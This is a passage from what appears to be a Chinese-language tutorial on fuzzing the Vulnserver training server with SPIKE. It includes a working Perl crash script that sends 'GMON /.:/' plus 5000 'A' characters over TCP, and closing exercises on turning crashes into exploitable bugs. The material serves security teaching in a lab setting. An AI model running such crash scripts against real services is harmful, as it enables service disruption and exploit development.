详细介绍了fuzzing 工具spike自动化挖掘漏洞的过程
if ($ARGV[1] eq '') {
die("Usage: $0 IP_ADDRESS PORTnn");
}
$baddata = "GMON /.:/";
$baddata .= "A" x 5000;
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]"
) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
$socket->recv($serverdata, 1024);
print "$serverdata";
$socket->send($baddata);
给与这个文件可执行权限,运行起来(先确认调试器已重启)。
root@bt4r1vm:~/fuzzing# ./gmon.pl 192.168.56.101 9999
Welcome to Vulnerable Server! Enter HELP for help.
崩溃将会再次发生。我门将触发另外一个bug。
到现在为止,你应该明白这个工具怎么用了吧。我建议你一直测试下去,知道所有脚本测试完毕。
希望这个例子已经让你理解这个程序是如何运行的,明白以后如何开展Fuzzing工作。总的来说,本文就是用包装器脚本定义多个sipke脚本,用这些脚本来发现Vulnserver服务器中的漏洞,确认触发漏洞的文本信息,手工测试确认。然后进入下一个测试循环。 结论
本文展示了用SPIKE脚本寻找潜在可利用漏洞的过程,我们在寻找漏洞时采用的一些列技术同样适用于其他软件。未来将介绍如何利用这些漏洞。
在文章结尾前,本文留下一些有挑战性的工作让读者练习:
1.找出其他4处或更多漏洞,它们都是各不相同;
2.为了触发每一个漏洞,你能算出需要哪些特定的数据发送到Vulnserver吗?这个字符串精确地来说长度为多少个字符(比5000个还能再少点吗?).用其他字符代替字符“A”可以么?一旦你找到引起崩溃的文本,你修改触发文本时很有可能直接改变崩溃生成的结果。在这个时候,某些看起来无法利用的错误通过修改触发文本后就变成了可利用的漏洞点。花一些时间,修改触发漏洞的文本,这可能给你一个关于如何选用更好的SPIKE测试脚本的全新思路。